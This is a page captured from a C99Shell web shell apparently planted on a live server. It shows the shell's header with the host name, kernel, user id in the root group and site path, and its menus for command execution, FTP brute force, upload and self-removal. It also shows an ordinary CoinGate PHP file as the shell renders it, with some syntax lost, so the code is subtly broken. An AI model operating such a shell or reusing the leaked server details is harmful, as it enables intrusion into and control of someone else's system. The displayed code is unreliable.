!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/coingate/coingate-php/lib/Services/   drwxr-xr-x
Free 23.59 GB of 117.98 GB (19.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractService.php (1.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace CoinGate\Services;

use 
CoinGate\ClientInterface;
use 
CoinGate\Exception\InvalidArgumentException;

/**
 * Abstract base class for all services.
 */
abstract class AbstractService
{
    
/**
     * @var ClientInterface
     */
    
protected $client;

    
/**
     * Initializes a new instance of the AbstractService class.
     *
     * @param ClientInterface $client
     */
    
public function __construct(ClientInterface $client)
    {
        
$this->client $client;
    }

    
/**
     * Gets the client used by this service to send requests.
     *
     * @return ClientInterface
     */
    
protected function getClient(): ClientInterface
    
{
        return 
$this->client;
    }

    
/**
     * Send a request to CoinGate API.
     *
     * @param string $method the HTTP method
     * @param string $path   the path of the request
     * @param array<string, mixed> $params the parameters of the request
     * @return mixed
     */
    
protected function request(string $methodstring $path, array $params = [])
    {
        return 
$this->getClient()->request($method$path$params);
    }

    
/**
     * Combine base path with parameters
     *
     * @param  string $path
     * @param  mixed  $ids
     * @return string
     */
    
protected function buildPath(string $path, ...$ids): string
    
{
        foreach (
$ids as $id) {
            if (
$id === null || trim($id) === '') {
                throw new 
InvalidArgumentException('The resource ID cannot be null or whitespace.');
            }
        }

        return 
vsprintf($patharray_map('urlencode'$ids));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--